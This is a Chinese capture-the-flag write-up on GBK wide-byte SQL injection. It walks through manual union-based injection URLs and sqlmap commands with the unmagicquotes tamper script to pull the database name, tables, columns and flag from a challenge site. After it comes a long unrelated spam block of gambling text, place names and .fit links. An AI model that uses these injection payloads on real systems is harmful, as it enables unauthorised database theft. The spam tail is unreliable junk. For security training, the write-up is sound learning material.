(宽字节注入) 手注+sqlmap

            进入题目后先简单尝试一下。

            分享图片

             

            很明显的宽字节注入。

            宽字节注入就是用一个大于128的十六进制数来吃掉转义符\,gbk编码,字节作为一个字符的编码.

            手工注入
            1、判断列数:
            http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 1%23
            http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 2%23
            http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 3%23
            order by 3 时报错,说明只有两列。

            2、各类信息:
            http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
            union select 2,(concat_ws(char(32,58,32),user(),database(),version()))%23
            [email protected] : sae-chinalover : 5.5.52-0ubuntu0.14.04.1

            3、库名:
            http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2 union select 2,database()%23
            sae-chinalover

            4、表名:
            http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
            union select 2,group_concat(table_name)
            from information_schema.tables
            where table_schema=database()%23
            ctf,ctf2,ctf3,ctf4,news

            5、ctf4表的列名:
            http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
            union select 2,group_concat(column_name)
            from information_schema.columns
            where table_name=0x63746634%23
            id,flag

            这里注意:要将表名ctf4转为16进制

            这里提供一个字符串转16进制的网站:

            http://www.5ixuexiwang.com/str/hex.php

            转了16进制之后记得在前面加上0x

            6、flag列的数据:
            http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
            union select 2,(select flag from ctf4)%23
            flag{this_is_sqli_flag}

            sqlmap跑法
            1、查看有哪些库:
            sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes --dbs
            这个时侯就要用到一个脚本了:

            脚本名:unmagicquotes.py

            作用:宽字符绕过

            分享图片

             

             

            2、表名:

            sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` --tables

            分享图片

             

             

            3、列名:

            sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` -T ctf4 --columns

             分享图片

             

             

            4、flag列的数据:
            sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` -T ctf4 -C flag

            分享图片

            相关文章
            相关标签/搜索
            管家婆精选心水资料中特网 漠河县| 垣曲县| 绩溪县| 松阳县| 丹寨县| 布尔津县| 棋牌| 祁阳县| 红原县| 陇南市| 新晃| 隆德县| 清水县| 页游| 兴和县| 曲阳县| 日照市| 内丘县| 盘山县| 离岛区| 三门县| 林口县| 资讯| 吉林市| 五家渠市| 平顶山市| 千阳县| 加查县| 珠海市| 鞍山市| 灌阳县| 于田县| 铁岭县| 九江市| 永德县| 新和县| 宜兰县| 静乐县| 从江县| 新丰县| 仲巴县| 兴山县| 和平区| 北宁市| 米易县| 丹阳市| 常德市| 泰宁县| 邵东县| 那曲县| 府谷县| 镇远县| 潮安县| 沂南县| 德安县| 七台河市| 绥芬河市| 繁昌县| 蓝田县| 花垣县| 石台县| 双柏县| 塘沽区| 定远县| 休宁县| 嵩明县| 阳曲县| 兰西县| 海兴县| 怀集县| 通辽市| 韩城市| 民权县| 屏东县| 新密市| 德令哈市| 乌海市| 新津县| 金昌市| 霍林郭勒市| 普陀区| 财经| 奉新县| 汾西县| 鄂尔多斯市| 富蕴县| 清原| 周至县| 嵊州市| 毕节市| 龙南县| 宜兰市| 正阳县| 甘洛县| 凭祥市| 博客| 巢湖市| 鹤壁市| 富裕县| 苗栗市| 个旧市| 昌乐县| 德清县| 巴塘县| 亚东县| 灵武市| 绩溪县| 兴业县| 思南县| 满城县| 静乐县| 波密县| 延安市| 内丘县| 凌云县| 平遥县| 精河县| 东莞市| 大连市| 全州县| 隆尧县| 林州市| 广汉市| 鄯善县| 新巴尔虎左旗| 禹州市| 读书| 郴州市| 双牌县| 丹阳市| 馆陶县| 城固县| 安西县| 于田县| 上犹县| 潢川县| 新野县| 伊吾县| 五原县| 霸州市| 达尔| 疏勒县| 旅游| 开封市| 肇东市| 平泉县| 嘉鱼县| 临海市| 定日县| 芷江| 会宁县| 壤塘县| 凤城市| 罗城| 龙胜| 来宾市| 长阳| 远安县| 永靖县| 聂拉木县| 仪征市| 忻州市| 会泽县| 滕州市| 榆树市| 澄迈县| 中山市| 保定市| 芜湖市| 湘阴县| 小金县| 前郭尔| 栖霞市| 普宁市| 金乡县| 吉首市| 丁青县| 咸丰县| 绥化市| 尼玛县| 金寨县| 剑阁县| 阳曲县| 永新县| 那坡县| 迁安市| 如皋市| 德化县| 夹江县| 曲阳县| 肇州县| 永年县| 朝阳区| 山丹县| 吉水县| 永寿县| 多伦县| 广南县| 聂拉木县| 盐边县| 巢湖市| 阿克苏市| 清涧县| 山西省| 金坛市| 都江堰市| 临沭县| 敦化市| 甘孜| 东乌珠穆沁旗| 乌兰察布市| 曲沃县| 故城县| 松原市| 康平县| 故城县| 铁岭县| 安阳县| 永寿县| 靖江市| 邵阳市| 定边县| 枞阳县| 商城县| 禄丰县| 施秉县| 湘阴县| 九龙城区| 厦门市| 西乌珠穆沁旗| 徐闻县| 巩留县| 家居| 龙胜| 陆丰市| 泉州市| 菏泽市| 方城县| 丽水市| 延边| 盘山县| 泾源县| 三门峡市| 山阳县| 阜宁县| 霍邱县| 洞口县| 且末县| 阿尔山市| 板桥市| 三明市| 鹰潭市| 临江市| 台南市| 探索| 凤庆县| 都昌县| 陈巴尔虎旗| 延川县| 含山县| 井陉县| 迁安市| 孝昌县| 天峻县| 西丰县| 老河口市| 巨野县| 兴宁市| 永顺县| 潢川县| 定南县| 福州市| 沧源| 平潭县| 木里| 将乐县| 积石山| 万载县| 大竹县| 延寿县| 鹰潭市| 万山特区| 石阡县| 湟源县| 花莲县| 和平区| 堆龙德庆县| 绥化市| 福清市| 康马县| 竹溪县| 涞水县| 滨州市| 青神县| 彩票| 佛教| 泾川县| 三江| 永宁县| 和平区| 泗阳县| 正阳县| 竹山县| 贵州省| 潮州市| 盐边县| 茂名市| 当涂县| 介休市| 兴业县| 鸡东县| 奉节县| 中宁县| 汝阳县| 于田县| 六安市| 鹤壁市| 揭西县| 南雄市| 城口县| 仲巴县| 石棉县| 桐庐县| 阜南县| 定州市| 荣昌县| 宝坻区| 新泰市| 油尖旺区| 大安市| 凤凰县| 柯坪县| 柏乡县| 陈巴尔虎旗| 汕尾市| 孝感市| 浦东新区| 奉化市| 乌海市| 桃园县| 蒙自县| 武义县| 齐齐哈尔市| 镶黄旗| 华宁县| 林甸县| 新乡县| 万山特区| 南岸区| 东乡族自治县| 凤城市| 东莞市| 丰都县| 沅江市| 沙洋县| 石首市| 武平县| 榆社县| 时尚| 如东县| 师宗县| 汾西县| 广丰县| 六盘水市| 四平市| 龙口市| 大荔县| 乐亭县| 沙河市| 精河县| 平凉市| 崇左市| 苍山县| 镇平县| 鸡东县| 久治县| 婺源县| 富顺县| 页游| 象山县| 太谷县| 景德镇市| 英山县| 靖远县| 兴隆县| 响水县| 合肥市| 樟树市| 天长市| 英吉沙县| 民丰县| 汉中市| 罗江县| 利辛县| 白玉县| 姜堰市| 嵩明县| 五河县| 沅陵县| 陇川县| 海盐县| 泰州市| 涟水县| 九江县| 开封市| 高密市| 宁明县| 诸暨市| 民丰县| 尉氏县| 合水县| 来凤县| 堆龙德庆县| 利津县| 绥阳县| 潞城市| 南通市| 德兴市| 赣州市| 铜山县| 金门县| 海阳市| 通城县| 建宁县| 镶黄旗| 巴里| 鄂伦春自治旗| 奉化市| 民丰县| 北票市| 广州市| 沅江市| 格尔木市| 彭水| 甘谷县| 呼玛县| 襄汾县| 鄯善县| 绥德县| 澄城县| 益阳市| 长子县| 嵩明县| 桃源县| 河津市| 博罗县| 滦平县| 阳西县| 玉树县| 咸阳市| 东乡族自治县| 南皮县| 安泽县| 台安县| 洛宁县| 秭归县| 上高县| 泰来县| 平山县| 南木林县| 德安县| 大名县| 井研县| 乌海市| 衡阳市| 兴和县| 通山县| 宜宾市| 旌德县| 铜陵市| 辉县市| 镇平县| 南召县| 铜鼓县| 磐安县| 泽库县| 郑州市| 库伦旗| 甘洛县| 吴桥县| 长泰县| 苗栗县| 绩溪县| 曲靖市| 库尔勒市| 崇文区| 台安县| 明溪县| 济南市| 明光市| 高雄县| 江口县| 河源市| 敦化市| 阿巴嘎旗| 聂拉木县| 当涂县| 江北区| 宁城县| 湘乡市| 喀什市| 曲阳县| 肇东市| 胶南市| 鹤山市| 佛山市| 郴州市| 通山县| 仙游县| 东丽区| 平昌县| 阳曲县| 射洪县| 福安市| 页游| 桐乡市| 镇巴县| 康保县| 罗源县| 南郑县| 酉阳| 沽源县| 温州市| 周宁县| 岳阳市| 广水市| 高淳县| 芮城县| 云南省| 青州市| 陵水| 凤台县| 静海县| 阜南县| 海晏县| 乡宁县| 项城市| 梅州市| 博客| 黄陵县| 玉门市| 盐津县| 云阳县| 安远县| 长治县| 澜沧| 齐河县| 富锦市| 白玉县| 满城县| 山阴县| 安化县| 双江| 临汾市| 长海县| 凤阳县| 普安县| 阿合奇县| 棋牌| 巩留县| 寿光市| 青神县| 淮北市| 中超| 安远县| 西藏| 卢氏县| 观塘区| 兴和县| 嵊州市| 漳浦县| 凤翔县| 轮台县| 沙湾县| 建始县| 永善县| 若尔盖县| 本溪| 垫江县| 海宁市| 平利县| 金溪县| 乌拉特中旗| 沧州市| 内黄县| 中宁县| 合川市| 黎城县| 肥乡县| 龙川县| 平武县| 哈密市| 福贡县| 勐海县| 镇安县| 紫金县| 庆安县| 日喀则市| 炉霍县| 修水县| 耿马| 全南县| 霍城县| 博爱县| 岚皋县| 闻喜县| 南雄市| 海晏县| 平安县| 临夏县| 仁怀市| 惠水县| 雅安市| 榆林市| 三穗县| http://www.ymsmjy.fit http://m.wdqfgn.fit http://bsuhdp.fit http://m.wwfibh.fit http://www.hysbew.fit http://m.hdxnvn.fit http://www.fuyqxs.fit http://m.punpsk.fit http://wigjyo.fit http://www.bm1961xakez.fit http://m.ltjjxi.fit http://m.szhbqi.fit http://www.noecka.fit http://m.okdztm.fit http://www.fhatxe.fit http://m.wrcbsg.fit http://www.leodek.fit http://m.szhbqi.fit